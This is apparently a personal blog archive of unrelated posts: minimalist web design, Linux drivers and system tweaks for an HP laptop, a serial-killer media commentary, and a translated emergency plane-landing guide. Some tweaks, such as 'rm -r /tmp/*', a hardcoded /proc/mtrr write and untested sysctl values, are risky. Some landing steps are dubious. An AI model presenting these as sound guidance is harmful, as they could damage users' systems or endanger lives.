Dentro de esta época donde xHTML y CSS forman una irrompible alianza se diferenció una batería de sitios donde se promocionaba la interacción absoluta con el usuario y el dinamismo de carga de elementos de forma selectiva gracias a AJAX, o como se diría a la vieja usanza, la propiedad XMLHttpRequest de Javascript. Aunque sería sensato proponer que nos encontramos en esta moda, algunos nos atrevemos (dígnese usted de mirar nuevos diseños como los de Minid.net o Rodrigo Galindez) a afirmar que el diseño web está de vuelta buscando aquello que solo tenía en sus mismísimos comienzos: la simplicidad y el minimalismo absoluto.

Tirando líneas generales, un sitio creado o renovado recientemente será escaso en número de imágenes, hará un trabajo intenso de tipografías (muy probablemente usando unos tamaños por encima de la media de las mismas), valorando como oro en paño el peso de cada palabra y resaltando la prioridad de los elementos que se muestran por su soledad en la pantalla y la abundancia de whitespace que los rodean.

Mis dos céntimos

Tienen ante sus ojos el nuevo y estudiado diseño de mi weblog personal. Aunque nunca llueve a gusto de todos, intentaré justificar las decisiones que he tomado durante la maquetación del mismo para intentar convencer a los escépticos.

Ready? Como he visualizado el layout

Cuando se empieza a diseñar un sitio web, se empieza a diseñar en papel de manera top-down: primero nos imaginamos aquellos bloques más grandes y donde será la posición de cada uno. A medida que vamos diseñando esta rejilla podemos ir añadiendo detalles dentro de cada elemento e ir apuntando en un aparte una paleta de colores y la tipografía deseada para cada elemento. Asimismo, en una fase temprana del diseño primordia la colocación de los elementos flotantes sobre la tipografía, y esta primordia sobre los colores. Asimismo la creación e instauración de imágenes en el diseño es lo menos primordial y se dejará para última instancia.

Uno de los puntos más importantes a la hora de realizar cualquier tipo de diseño es comprender el objetivo del sitio y el público al cual va a ser presentado. Este es un sitio técnico y de diseño, donde lo que importa es más la información que la manera de la cual se presenta. Es por este motivo por el cual se han seguido pautas absolutamente minimalistas y se ha hecho un uso intensivo de espacio blanco a los laterales del texto.

Vayamos entonces por partes:

1. La cabecera: Es el único elemento que tiene la propiedad background distinta a las demás. Cuando entramos en un sitio, nuestros ojos escanean los elementos que hay en el de forma vertical hasta localizar la sección que buscamos. Una vez que nuestros ojos concretizan la zona donde es posible encontrar la información que buscamos, empieza el escaneo horizontal. Si se encuentra la información en el primer intento, estamos ante un sitio usable. Por eso mismo, un cambio gradual de color entre cabecera y cuerpo ayuda al escaneo visual a diferenciar ambas zonas sin ni siquiera mirar para ellas. De esta foma, aquí resaltamos dónde nos encontramos, sin importar el contenido. El visitante novel ignorará completamente esta parte. Asimismo es la única parte donde se introduce asimetría en el diseño, haciendo un acolchamiento lateral de un 30% del espacio presentado en vez de un 40% como en el resto del sitio. Aquí también se encuentra la única imágen permanente del sitio por motivos tipográficos.
2. El contenido: Una vez que sabemos donde estamos, lo más importante es encontrar de que se habla en ese sito. Sin más intermediarios como barras de menú -o peor todavía- anuncios, adsense o derivados, se encuentra el post más recientemente públicado. Y aparece solo por el siguiente motivo. Existen dos tipos de visitantes a un blog: aquellos que lo hacen a través de su navegador y los que lo hacen por sindicación. Evidentemente, todo esfuerzo en un diseño va dirigido al primer tipo de visitante, normalmente más asiduo. Esta frecuencia de visita no busca más que la última actualización del sitio, conociendo de antemano publicaciones anteriores: de esta manera presentar únicamente la información más reciente es otra vía para liberar peso de carga y complejidad visual.
3. La participación: Aunque normalmente en un weblog se puede acceder al permalink de una anotación haciendo click directamente sobre el título de la misma, he decidido recomendable incluir un link a mayores al final de cada entrada que invite al usuario a interaccionar con la web más activamente. De esta forma, se hace un bocadillo con la información como sustancia y tapas las vías de comunicación y discusión con la misma. Para detalles sobre el post como autor, fecha de publicación, categorías y demás detalles que más del setenta por ciento de las veces son ignorados, se encuentran presentes en la página individual de cada entrada.
4. Navegación: Todos los posts del blog son individualmente accesibles a través de una navegación cronológica de los mismos. Aquí se presenta un detalle muy poco habitual pero a mi parecer lógico. Usualmente en los weblogs se presentan varios posts, encabezando la página el más reciente y a medida que descendemos los más antiguos. La navegación de los mismos suelen rezar palabras como “anteriores” y “siguientes” precedidas por flechas hacia la izquierda o a la derecha, cuando verdaderamente el contenido está visualmente ordenado de forma vertical. Por este motivo la navegación en este blog se presenta con flechas verticales y no horizontales, ya que algunos usuarios presentan problemas al entender temporalemte las palabras entrecomilladas anteriormente ya que, si se presenta de primero el post más reciente, el “siguiente” es justamente el “anterior” cronológicamente: absurdo.
5. El footer: semánticamente el pie de página tiene como misión cerrar la misma y darle la sensación al usuario de que a partir del mismo la página ha terminado, y no de forma arbritaria como si no existiese. Múltiples blogs aprovechan para colocar en el mismo información excesiva como autores, años, licencias, múltiples sindicaciones, links a los diseñadores del layout y del motor de publicación empleado… Desmereciendo el objetivo original del mismo. En mi weblog el footer es aquel lugar donde acceder a dos partes fundamentales del blog: la sindicación y el menú del mismo. Sobre lo segundo se hablará más adelante.

Se ha intentado minimizar el número de bloques, así como el número de elementos presentes en cada uno de ellos: en la cabecera figura solo el logotipo, en la info del post sólamente el número de comentarios y una flecha que invita a “adentrarse” en las entrañas de la anotación, el pie de página…

Para una explicación magistral del uso de espacio blanco, podéis echarle un vistazo a este artículo.

No menos importante, la rejilla utilizada en este diseño es líquida y no de ancho fijo. Esto no es más que un intento de ser respetuoso con aquellas personas que aún usan resoluciones bajas o se conectan a través de dispositivos con pantalla pequeña. Por tanto, esta web se visualiza correctamente tanto como desde un iPhone hasta un televisor de cuarenta y dos pulgadas. Se trata de una adaptación similar como aquel líquido que volcamos en un recipiente: da igual su dimensión, éste se adapta en su seno.

De esta retórica se desprende otro comentario: la naturaleza porcentualmente centrada del diseño permite que el lector, tras la lectura de un par de líneas, conozca perfectamente los límites del texto y su escaneo horizontal sea más natural y cómodo. En mi opinión (cada uno ve con sus ojos) aquellos diseños que se apoyan en una parte del monitor no gozan de una simetría visual tan clara como los centrados: sabremos donde empieza la línea (ya que es normalmente veinticinco píxeles adentrado el marco del monitor) pero dónde termine es a elección del diseñador. En cambio, si forzamos al usuario a empezar a leer en una posición arbitraria y a terminar en otra con el mismo márgen al final de la pantalla, se consigue situar en el contenido de una manera mucho más natural.

Se dice a menudo que en el diseño impreso (y probablemente este precepto sea aplicable al digital) que la línea de un libro no debería de contener más de cuarenta palabras. A parte de cumplir este requisito, tomo la “ley de los tres tercios” de la fotografía tradicional para emplazar las entradas: estas ocupan un 66% (~2/3) de la página, dejando un 33% (~1/3) de espacio blanco. Aunque todos estos temas sean quizás demasiado avanzados para alguien no metido en el tema, son perceptibles para todo el mundo de forma inconsciente.

Helvetica

Este sitio utiliza (a excepción de la imágen utilizada en la cabecera para darle un toque de asimetría de entrada) una única tipografía: Helvetica. Es más que factible asegurar que el 95% de las páginas web que existen en la actualidad usan o bien Arial o bien Helvetica. De hecho, un ojo no entrenado sería incapaz de distinguir entre estas dos tipografías, mientras que las sutiles diferencias suelen ser a menudo las más importantes.

Helvética (también conocida como Neue Haas Grotesk, Helvetica y ultimamente expandida a Neue Helvetica) es una tipografía desarrollada por Max Miedinger en 1957 para la fundición de tipografías Haas’sche Schriftgießerei (también conocida como “Haas”) de Basilea, Suiza. Su diseño está basado en una anterior tipografía llamada Berthold Akzidenz Grotesk que data de 1896.

Más tarde, Microsoft hizo una réplica de esta fuente llamada Arial. Sin embargo, Helvetica es la presente en el logotipo de la empresa. También es la tipografía utilizada en todo el sistema de transportes de la ciudad de New York y es asimismo la utilizada por la Nasa en la etiquetación del transbordador espacial y toda su documentación.

En caso de no tener instalado Helvética, el CSS admitirá como válida Arial y en último recurso, cualquiera parecida de la familia sans-serif. Además, la estipulación en sistemas Unix de usar Helvética como fuente sin tenerla instalada muestra una Arial bastante bien antialisada. Son todos estos motivos, además del monopolio que comparten estas dos tipografías en diseño, los que me han llevado a usar Helvética en la totalidad del texto presentado.

Disminuir la cantidad de tipografías distintas que se muestran en un sitio relaja los ojos del lector además de no tener que someterle a cambios de hábitos de lectura (por ejemplo, es posible leer un texto escrito con sans-serif mirando únicamente la parte superior de las letras, mientras que esto es inviable con un texto escrito únicamente con seritas). La monotonía tipográfica le da uniformidad al diseño además de restarle barroquismo y complejidad visual.

Además, se utiliza una relación de interlineado de 1,5 veces mayor que la tipografía usada en el párrafo, lo que se viene usando en el diseño impreso minimalista muchos años. El interlineado es un elemento vital para una lectura cómoda, por lo que se ha respetado esta tradición usando una relación tamaño de letra interlineado 14/23px.

Por último, se intenta huír de la saturación que brinda la negrita en un texto para jerarquizar títulos y rótulos, realizando esta tarea simplemente con el tamaño de la letra.

Pinta y colorea

La paleta de colores es una de las facetas más importantes y objeto de estudio a la hora de construir desde cero una página. Según este criterio se pueden dividir las webs en dos tipos: claras y oscuras. Como podreis observar, knithx luce un estilo completamente oscuro.

Un estilo oscuro emite a nuestros ojos muchísima menos radiación que uno claro. La lectura en un fondo negro (únicamente en monitores y no en libros ni en diseño empreso) es mucho más relajada y suave que en un fondo completamente blanco, además de ser incluso peligroso cuando no tenemos ninguna iluminación indirecta en donde nos encontremos con nuestro ordenador. Más como una curiosidad, un diseño oscuro a efectos prácticos “contamina” menos que uno claro (y dada la gente que usa Google y lo blanco que es, han surgido interfaces para el mismo alternativas y oscuras para salvar un poquito el medio ambiente).

Siguiendo la misma filosofía que en la tipografía, me he limitado a escoger una colección de colores reducida para la elaboración de este diseño. La paleta de colores es la siguiente:

Donde el marco se usa para la cabecera, el fondo para el cuerpo del blog, el verde para el código, el blanco para las letras de la cabecera y los restantes tonos de gris para el texto que se muestra en la página, incluído el plano, los links, las etiquetas h1, h2, h3...

Usabilidad

El diseño es ligero, carga bien en cualquier dispositivo y se puede considerar usable. ¿Por qué? Pues porque una vez entrado al sitio, se muestra la información que buscas solamente (la última actualización) y se te brindan las cuatro opciones más comunes de la forma más rápida posible: leer (inmediata), comentar (un click), explorar el blog (un click) y obtener la sindicación del mismo (un click).

Sí,¿Pero dónde está el menú?

No es habitual que los visitantes usen el menú del blog. Normalmente, la actividad en un blog es la de leer y discutir mediante comentarios. Ahora, siempre hay un grupo de visitantes minoritarios que llegan al blog con objetivos diferentes, como explorarlo por categorías o (más extraño todavía) por fecha. De todas formas, estas formas de explorar el contenido (así como un formulario de búsqueda directa y un párrafo introductorio sobre de que trata el blog) para aquellos usuarios nuevos y minoritarios se encuentran en el en principio oculto menú. Se puede acceder al mismo mediante el pie de página (al estilo de Microsiervos pero en la parte opuesta del layout.

Se presentaban dos opciones: incluir el menú permanentemente barroquizando el diseño con un elemento inadvertido en la gran mayoría de los casos u ocultarlo (en este caso con JavaScript, por lo que no requiere ni siquiera carga adicional de datos) haciéndolo visible mediante un enlace, donde se mostrarán las posibilidades de navegación del blog. He optado por la segunda para mantener la claridad y el aspecto anteriormente descrito, aunque no tan radicalmente como, por ejemplo, Leon Pater Noster, donde ni siquiera son accesibles las categorías, las fechas o un mero formulario de búsqueda (error que también cometió Minid en su diseño de una columna, donde no se encontraba por ningún lado el formulario).

Conclusión

Tras discutir los tres elementos fundamentales de una página web (layout, tipografía y colores) podemos concluir con que nos encontramos ante un diseño radicalmente minimalista, donde no se añade ningún elemento que no sea realmente funcional y se hace intensivo uso de espacio en blanco para resaltar los elementos allí donde se encuentren, emplazados visualmente por orden de importancia.

Por útimo, este artículo será traducido al inglés donde incluiré explicaciones no sólamente de lo qué he hecho, si no también cómo lo hice (código, como hacer el tema en sí). Como siempre digo, stay tunned.

Un aspecto del cual no estaba muy seguro antes de comprar el ordenador era el de la pantalla en brillo. Hasta hace poco, las pantallas LCD o TFT de los portátiles venían con un acabado en mate, tal y como siguen viniendo los monitores ordinarios de sobremesa. Hará un par de años que empezaron a salir, progresivamente hasta monopolizar el mercado, portátiles con pantallas acabadas en brillo super-reflectantes; aunque la calidad de la imagen y de los colores es mejor, si donde estás se encuentran focos de luz indirectos, los reflejos que se crean pueden llegar a ser molestos. Así con todo, con lo que llevo de uso del portátil no me ha supuesto un gran inconveniente, y lo he estado en unos cuantos ambientes distintos.

Es famoso de HP preinstalar el sistema operativo y vender los equipos con un particionado de disco un tanto extraño, protagonizando una instalación de Windows con cuatro o cinco programas extra para justificar el precio pagado. Una vez formateado, no se puede hablar mejor de un ordenador que dando sus especificaciones técnicas.

Procesador: 2x Intel® Core™ 2 Duo T7300 @ 2 GHz , 4 MB de caché de nivel 2
Placa Base: Intel Crestline GL960/GM965/PM965
Tarjeta Gráfica: nVidia GeForce 8400M GS (128 MB)
Memoria RAM: 2x Qimonda DDR2-667MHz SDRAM 1GB
Disco Duro: 2x Toshiba MK1237GSX ATA 120GB
Unindad Óptica: HL-DT-ST DVDRAM GSA-T20L ATA w/ Lightscribe
Adaptador Inalámbrico: Intel 3945ABG PRO/Wireless
Adaptador de Red: Realtek RTL8168/8111 (NDIS 6.0)
Tarjeta de Sonido: Realtek ALC268 @ Intel 82801HBM ICH8M
Módem: Motorola SM56
Controlador de Firewire: Ricoh RL5C832
Lector de tarjetas SD·MS/Pro·MMC·XD: Ricoh RL5C/822/592/843/852
Lector de Huellas Digitales: AunthenTec Inc. AES2501A
Ratón: Synaptics PS/2 Port TouchPad
HP Webcam y 2x micrófono integrados

De los cuales, como cabía esperar, funcionan todos en Windows sin mayor complicación.

Hablando de Linux…

Aún no he conseguido hacer funcionar absolutamente todos los dispositivos mencionados arriba, pero a parte de que gran parte de ellos son soportados out-of-the-box, aquí os dejo el procedimiento necesario para arrancar aquellos que el sistema operativo no reconoce de entrada:

nVidia GeForce 8400M GS

Simplemente nos bajamos los drivers de la página oficial de nVidia y los instalamos. Un reinicio, y listo. Puedes usar scripts como Envy (Ubuntu) o smxi (Sidux) para realizar dicha tarea de una forma más automatizada.

Intel 3945ABG PRO/Wireless

Con los repositorios non free/contrib activados, ejecutamos:

apt-get install firmware-iwlwifi

Reiniciamos, y listo.

Realtek ALC268 @ Intel 82801HBM ICH8M

Para la tarjeta de Sonido y altavoces, el proceso es más complicado (donde # significa comando ejecutado como root y $ como usuario):

# apt-get update && apt-get install mercurial build-essential libncurses5 automake autoconf

$ hg clone http://hg.alsa-project.org/alsa-driver alsa-driver
$ hg clone http://hg.alsa-project.org/alsa-kernel alsa-kernel

$ cd alsa-driver
$ ./hgcompile

# make install-modules

Y tras reiniciar, ya tendremos sonido y grabación funcionando.

HP Webcam ¿Suyin Crystal Eye Webcam?

Es de mi parecer que la solución es la siguiente:

apt-get install linux-uvc-tools libpt-plugins-v4l2 linux-uvc-source
module-assistant a-i linux-uvc

AunthenTec Inc. AES2501A

apt-get install aes2501-wy

Teclas Multimedia

He indagado un poco sobre el tema y he llegado a los keycodes de las teclas en cuestión:

Quickplay: 205
DVD: 237
Back: 144
Play/Pause: 162
Forward: 153
Stop: 164
Mute/Unmute: 160
Bajar Volumen: 174
Subir Volumen: 176

Desde aquí (aún trabajando en ello) debería de haber algún programa para asignar a esos keycodes las funciones deseadas

El brillo y el contraste

No encuentro la manera de fijar el brillo y el contraste de manera permanente y a mi gusto.

Be aware that all modifications are made as root user, so you may need to omit some steps if you don’t know what exactly are you doing!

System tweaking

Swappiness

Swappiness is the ammount of virtual memory (swap partition) your computer is ordered to use. It is set to 60% in newer kernels, but computers with a high ammount of RAM can run faster if less memory is swapped and more is directly used. For computers with 1GB RAM or more, a value between 0 and 5 works well. You can check the performance you get modifying the swappiness with the command:

sysctl -w vm.swappiness=[value]

Where value is the amount of memory that will be swapped. When you find a value which fits you (I use 0 or 5), you can make the changes permanent editing the file /etc/sysctl.conf by adding this line at the end:

vm.swappiness=5

DMA

Direct memory access (DMA) is a feature of modern computers, that allows certain hardware subsystems within the computer to access system memory for reading and/or writing independently of the central processing unit. Enabling DMA may improve performance in your disk drives.

Let’s imagine the unit where DMA wants to be enabled is /dev/hdb. You can check whether you have DMA enabled or not with the command:

hdparm /dev/hdb

If you get the output:

using_dma = 1 (on)

DMA is already enabled. If not, you can enable it by typing:

hdparm -d1 /dev/hdb

or, for setting it to the highest level:

hdparm -u1 -S60 -a1024 /dev/hda

However, in order for the settings to be automatically applied at boot there you need to edit the /etc/hdparm.conf script, adding the following to the end of it:

/dev/hdb {
dma = on
}

Removing unused tty’s

By default, many Linux distributions have six tty’s (command prompts) which are accessible through the key bindings CTRL+ALT+F1 to CTRL+ALT+F6. They are a handy option in case X server crashes or you have any other problems with tty7 (the visual enviroment), but you may not need the six of them, and deactivating some of them will speed up your system. For doing that, edit the file /etc/inittab and comment the lines:

2:23:respawn:/sbin/getty 38400 tty2
3:23:respawn:/sbin/getty 38400 tty3

4:23:respawn:/sbin/getty 38400 tty4
5:23:respawn:/sbin/getty 38400 tty5
6:23:respawn:/sbin/getty 38400 tty6

if you want to deactivate tty2, 3, 4, 5 and 6.

Prelinking

Prelink is intended to speed up a system by reducing the time a program needs to begin. Actual results have been mixed, but it seems to aid systems with a large number of libraries by sharing them between programs, such as KDE. To install Prelink just type:

apt-get install prelink

And configure it editing the file /etc/default/prelink by modifying the line:

PRELINKING=unknown

to:

PRELINKING=yes

You should execute prelink periodically in order to refresh its library database. It takes a while the first time, and it should be called with:

/etc/cron.daily/prelink

Removing junk files

Several commands are using for cleaning up rubbish in your system (in case you don’t have them, you can install them with apt-get install [commandname], like:

apt-get clean

apt-get autoclean

deborphan

or

debfoster

localepurge

An automated way for cleaning up is:

sudo apt-get update; apt-get dist-upgrade; apt-get remove; apt-get autoremove; apt-get clean; apt-get autoclean; rm -r /tmp/*

X.Org

You all know the excellent h2’s script. In order to get 3D acceleration (and much more stuff) use it. Once you are done, we can tweak the file /etc/X11/xorg.conf when using OpenSource Drivers by modifying the Device section, as it shows below:

Option "EnablePageFlip" # improves performance on 3d acceleration
Option "AGPMode" "1/2/4/8" # agp speed (choose one)
Option "AGPSize" "32/64/128" # manually set agp aperture, kinda like shared memory (choose one)
Option "AccelMethod" "xaa" # exa is still rigged, use xaa until they solve the 2d acceleration issues.
Option "XAANoOffscreenPixmaps" # generic optimization for 2d acceleration, disables XAA offscreen pixmaps
Option "DynamicClocks" "on"
Option "ColorTiling" "on"
Option "FBTexPercent" "95"

If you don’t mind, you also can improve the general performance of the visual environment reducing DefaultDeph color from “24″ to “16″.

Turn off (mute) system beep

To permanently disable the PC speaker even after reboots, add this to /etc/rc.local before the last line (exit 0):

modprobe -r pcspkr

Redistributing RAM usage

The following command will redistribute the way your RAM memory does output graphic information. This would considerably speed up the way buttons, scrollbars, and other items show up when a window is maximized or restored, for example.

echo "base=0x98000000 size=0x8000000 type=write-combining" >| /proc/mtrr

Optimizing KDE

Executing kcontrol, we can modify a lot of parameter about the visual environment, and some of them can be set in order to improve performance. Those are:

Look & Feel - Style - Effects - Deactivate all effects.
Look & Feel - Background - No background (if you don’t need it).
Look & Feel - Launch Notification - Busy passive cursor, set all values to 0 seconds.

Desktop - Window Behaviour - Animate minimizing and restoring - Deactivate it.
Desktop - Desktops - Set it to 1 (if you don’t need more).

Sounds and Multimedia - Notifications - Deactivate all sounds.
Sounds and Multimedia - Sound system - Deactivate it (use ALSA instead).

I also recommend to install Dolphin instead Konqueror. It is much faster and lightweight.

Speeding up boot time

Removing unnecessary services

We can speed up our boot time by reducing the number of services started with the system. For doing that, we are going to use the tool sysv-rc-conf, which can let us manage easily the services we want to enable or not when my computer boots. We can install it through the official repositories:

apt-get install sysv-rc-conf

When executed on a terminal, we will see the list of services we have activated and in which init mode they are. It is important to say that there are some services you shouldn’t change in order to keep things functioning internally. Those are:

acpid, binfmt-support, bootlogd, dbus, klogd, halt, ifplugd, ifupdown, kdm, klogd, libdevmap, module-init-tools, networking, rc.local, reboot, sendsigs, single, stop-bootlogd, sysklogd, udev, udev-mtab, umontfs, umountroot, urandom, x11-common…

Plus any others you should need due to specific hardware, as alsa-utils, atievetsd, bluetooth, fuse…

More information is available on here in case of doubt: Please make sure you know what you are doing; otherwise, you may harm your system.

Starting services in concurrency mode

Another way for improving our boot time is to make all services start parallel. To do so, you only need to open the file:

/etc/init.d/rc

and change:

CONCURRENCY=none

to:

CONCURRENCY=shell

Done. Now your boot time should be much quicker than before. If not, here you have more possible tweaks for it.

Internet Tweaking

IPV6

To deactivate IPV6, you need to edit the file:

/etc/modprobe.d/aliases

by adding the lines:

alias net-pf-10 ipv6 off
alias net-pf-10 off
alias ipv6 off

and commenting / removing the line:

alias net-pf-10 ipv6

This will speed up noticeably Internet applications, including Firefox and Google Earth.

Firefox

You can access quite a lot of network parameters in Firefox by typing in the address bar about:config. Once there, the following variables may be modified / added:

network.dns.disableIPv6 of the type boolean, set to true
nglayout.initialpaint.delay of the type integer, set it to 10
content.interrupt.parsing of the type boolean, set to true
content.max.tokenizing.time of the type integer, set it to 8
content.notify.backoffcount of the type integer, set it to -1
content.notify.interval of the type integer, set it to 2
content.notify.ontimer of the type boolean, set to true

For general tweaking in Firefox / IceWeasel / Swiftfox, get FasterFox, a very powerful extension that will greatly increase your browsing speed in these clients.

As for the system networking tweaking, this command will speed things up a bit:

perl -pi -e s/ipv6/off/ /etc/modprobe.d/aliases && echo "net.ipv4.tcp_moderate_rcvbuf=0" >> /etc/sysctl.conf && echo "net.ipv4.tcp_default_win_scale=0" >> /etc/sysctl.conf

MTU

The term Maximum Transmission Unit (MTU) refers to the size (in bytes) of the largest packet that a given layer of a communications protocol can pass onwards. MTU parameters usually appear in association with a communications interface (NIC, serial port, etc.). Adjusting MTU can improve your network experience, and in some cases even speed it up. You can adjust the MTU with the following command:

ifconfig [interface] mtu [value]

Where [interface] refers to your network interface (in my case, ath0) and [value] to the value you want to assign MTU. I’ve experienced that 1450 works fairly good in my box, so I adjusted:

ifconfig ra0 mtu 1450

Checking /etc/resolv.conf

Make sure that you /etc/resolv.conf file only has your DNS servers, in order to let the system access faster to them. In my case, I use OpenDNS, which I highly recommend, so my entire content of this file is:

nameserver 208.67.222.222
nameserver 208.67.220.220

A corrupted /etc/resolv.conf file may cause several problems in DNS look up, so double-checking this file is more important than it seems to be, as far as some distributions add rubbish lines to this file.

/etc/hosts

The file /etc/hosts may content by default:

127.0.0.1 localhost
127.0.1.1 [youhostname]

Replacing the previously lines with:

127.0.0.1 localhost [yourhostname]
127.0.1.1 [yourhostname]

is believed to speed up applications launch which use network functions.

Checking /etc/syctl.conf

This are some values to optimize broadband settings, although they are not tested

net.core.rmem_default = 524288
net.core.rmem_max = 524288
net.core.wmem_default = 524288
net.core.wmem_max = 524288
net.ipv4.tcp_wmem = 4096 87380 524288
net.ipv4.tcp_rmem = 4096 87380 524288
net.ipv4.tcp_mem = 524288 524288 524288
net.ipv4.tcp_rfc1337 = 1
net.ipv4.ip_no_pmtu_disc = 0
net.ipv4.tcp_sack = 1
net.ipv4.tcp_fack = 1
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_timestamps = 1
net.ipv4.tcp_ecn = 0
net.ipv4.route.flush = 1

You have to reset your sysctl for these to take effect.

sudo sysctl -p

Concluding…

You have just made a lot of changes to your system. Re profiling your boot will reorganize it and make it faster on boots afterwards. For doing so, Reboot your PC. When you come to your grub list, hit escape to see your grub menu and edit the topmost line and add the word below to the end of it:

profile

One last reboot and you are done!

Paso 1: Accede a tu página de google personalizada (es decir, logueado con tu correo).
Paso 2: Añade el servicio CallWave a tu página de Google Personalizada.
Paso 3: Edita las opciones: selecciona “International” como compañía e introduce tu número de teléfono y e-mail.

Ready!

(Basado en un artículo de Javi Moya - lo siento, uso Linux)

Es por todos conocido el bizarro morbo y protagonismo del que suelen hacer gala los asesinos en serie entre los medios de comunicación. Un protagonismo que, dejando aparte las consideraciones sobre las fechorías que cometen, margina en un segundo plano la identidad de las para todo el mundo ajenas y carentes de identidad víctimas.

Rosa Pereda nos expone de una forma cordial e inescrutable algunos de estos matones en serie que gustan de asesinar prostitutas anónimas sin protección o amparo por doquier. Es esa actitud de repetir el acto, firmar pudorosamente su pérfido modus-operandi, la chipa que desprende la posibilidad de cometer un error en el próximo atentado o la propia reflexión nerviosa de incertidumbre que causa el saber que va a volver a atacar lo que genera alrededor de estos criminales un aroma de simpatía y adoración aderezada con un toque repulsivo.

Las víctimas, desvinculadas unas entre otras, constan en los periódicos y demás informativos como una mera lista de la compra propia de estar arrugada en lo hondo de la marginación. Es una controversia que la muerte y la desgracia sea lo que el lector propicie a ignorar, dada la ajenidad que le provoca dicha colección de nombres inanimados entre los cuales no figura el suyo.

Me atrevería a comentar, y de esta manera darle una vez más la razón a la autora, la extraña relación que guardan todas estas muertes con el desprotegido oficio que desempeñan. Que todas las víctimas sean prostitutas puede sonar a cliché o inclusive a fetiche enfermizo, pero cabe tener en cuenta “los peligros del oficio” que el trabajo más antiguo del mundo conlleva. No nos olvidemos de que muchas de estas señoras son inmigrantes ilegales totalmente solas y desarraigadas de su ambiente social: es esta peculiar situación la que despierta la sed de los asesinos en serie: carne fácil, muertes que no se echan de menos y, quien sabe, una falsa rebaja de culpabilidad y raciocinio por matar a quien están matando.

Prostitutas o no, Rosa Pereda da clausura a su sublime colaboración realizando un guiño a la violencia de género, tan común y rara dado nuestro progreso. La proliferación de actos de esta índole es propia de situarnos en la categoría de animales y bajo aquella línea que define lo cuerdo; hablando de inteligencia, la única prueba factible que tenemos de que existe vida extra terrestre es que nunca se han molestado en comunicarse con nosotros, visto lo visto. Por favor, abramos los ojos ante las calamidades que se nos presentan y tomemos conciencia de esas tímidas listas a las que pusilánimemente miramos con tanta ingenuidad.

Bien, antes de nada y ya en la cabina, debemos de retirar el fallecido comandante de su sitio y tomar los mandos acomodándonos en su sitio.

Para comenzar, ponte los cascos y pide ayuda por radio (debe de haber un botón en el mando el cual pulsado nos permitirá hablar, y, una vez soltado, escuchar). Una buena forma de hacerlo sería decir algo como “Mayday, Mayday!” seguido de nuestra situación, destino y el número de serie del avíon, presente encima del panel de instrumentación. Si tienes tan mala suerte de no obtener respuesta, prueba a sintonizar la radio en 121.5, el canal de emergencia. Si aquí te contestan, la persona al habla debería de estar capacitada para darte las instrucciones necesarias para realizar un aterrizaje de emergencia. En caso contrario, deberás de hacerlo tú solo.

Si el vuelo acababa de despegar o estaba apunto de aterrizar, el avión debería de encontrarse bastante estable y volando en una línea casi recta, por lo que nos tomaremos un momento para identificar los instrumentos que tenemos alrededor nuestra:

• El mando (Yoke): básicamente, debería estar enfrente de tí y con el controlarías, mediante giros muy suaves, la inclinación horizontal de la nave (mediante giros dextrógiros o viceversa) y pulsándolo hacia delante o hacia a tí la elevación o el descenso del morro del avión. De esta forma, mantén el morro del avión unas tres pulgadas por debajo del horizonte.
• Altímetro (Altimeter): el instrumento más importante por ahora, o al menos al principio. Es el dial rojo situado en el medio del panel que indica la altitud: la aguja pequeña lo indica en miles de pies sobre el nivel del mar, y la aguja grande, en cientos.
• Nivelador (Heading): Es una brújula con una imágen de un avión en el centro que nos dará una posción relativa del morro frente al eje horizontal (horizonte) y vertical cartesiano.
• Velocímetro (Airspeed): es el dial situado en la parte superior izquierda del panel, e indica, en nudos o millas por hora, la velocidad de crucero. Un avión pequeño suele volar a unos 120 nudos, y todo lo que se encuentre por debajo de 70 nudos por el aire tiende a pararse y/o caer.
• Acelerador (Throttle): controla la velocidad de la aeronave, y también la inclinación del morro sobre el horizonte. Es una palanca siempre negra situada entre los dos asientos de la cabina. Tirando de ella hacia atrás haremos que el avión decelere y consecuentemente descienda, y por el contrario, empujándola hacia delante haremos que la nave acelere y ascienda. El motor hará más o menos ruido según la posición del acelerador.
• Combustible (Fuel): El nivel de combustible estará indicado en otro dial en la parte inferior del panel de instrumental. Si el piloto respetó las normas de la FAA, el avión tendrá el suficiente combustible para realizar el vuelo programado más una cantidad adicional de reserva que nos dará un margen de media hora respecto a lo estipulado.
• Alerones (flaps): Dada su complejidad, los alerones de las alas pueden hacernos el aterrizaje incluso más complicado. Usaremos el acelerador para controlar el descenso en vez de los alerones.

Bien, parece que ahora conocemos más o menos lo que nos rodea; comencemos el descenso: tira para atrás del acelerador un cuarto de la velocidad inicial para decelerar la nave lo suficiente como para situar la nave en la posición correcta para aterrizar (unas cuatro pulgadas por debajo del horizonte).

Si el avión tiene tren de aterrizaje fijo, no nos tendremos que preocupar de bajarlo. En cambio, si lo tiene retráctil, hemos de buscar un interruptor cerca del acelerador entre los dos asientos para sacar el mismo. Si planeas aterrizar en agua, déjalo subido.

Busca un lugar lógico para efectuar el aterrizaje. Si no encuentras un areopuerto, un campo o similar de un kilómetro de longitud sería ideal, aunque en la práctica encontrar algo así es muy dificil, por lo que has de valerte de una zona menos preparada. Las zonas boscosas, desiguales o blandas son una buena opción. En caso de haber árboles, usa las alas contra ellos para reducir drásticamente la velocidad de aterrizaje.

Una vez localizado el lugar a aterrizar, a unos 1000 pies de altura, alinea el ala derecha con la pista de aterrizaje, de modo que antes de aterrizar traces un gran rectángulo para disminuir la velocidad del avión, echar un vistazo para localizar obstrucciones y alinearse de una forma definitiva y perpendicular a la pista. Una vez encarado, tira del acelerador para disminuir la velocidad y dejar que el morro descienda un poco, aunque no más de seis pulgadas respecto al horizonte.

El avión debería de estar a unos 100 pies de altura una vez nos encontremos justo encima de la pista de aterrizaje, y el contacto con el suelo debería de efectuarse en primera instancia con las ruedas traseras del tren de aterrizaje. La velocidad del avión ideal en la toma de tierra debería de ser de unas 55-65 millas por hora. Dada esta situación de proximidad a la pista de aterrizaje, tira todo lo que puedas del acelerador para disminuir la velocidad pero teniendo cuidado de forma que el morro no decaiga de una forma muy abrupta y choque contra el suelo.

¡Contacto! Hora de usar los pedales y olvidarte del mando (en tierra, posee un efecto casi nulo). Los pedales superiores son los frenos, y los inferiores controlan la dirección de las ruedas, lo que vendría siendo el giro del propio avión. En primer lugar, nos preocuparemos de enderezar la nave con los pedales inferiores, para después usar los frenos lo más que podamos para reducir la velocidad en tierra de 120 a unas 70 millas por hora.

Una vez el avión se pare, sal de él y aléjate cuanto antes. Si sigues vivo una vez hecho todo lo anterior, enhorabuena, lo has conseguido.

Traducido por knithx del original “Worst Case Scenarios“

Firefox - Marcadores - Administrar marcadores
Archivo - Exportar

